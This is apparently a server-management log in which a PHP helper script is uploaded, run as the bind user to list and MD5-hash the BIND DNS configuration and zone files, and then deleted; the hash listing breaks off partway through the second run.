MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 19:03:13: Establishing a connection
2026-04-21 19:03:13: 

PUT: /tmp/pkp204939

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 19:03:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp204939; rm /tmp/pkp204939'

2026-04-21 19:03:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 19:05:51: Establishing a connection
2026-04-21 19:05:51: 

PUT: /tmp/pkp971688

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 19:05:51: 

runuser -l bind -s /bin/bash -c '/tmp/pkp971688; rm /tmp/pkp971688'

2026-04-21 19:05:51: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
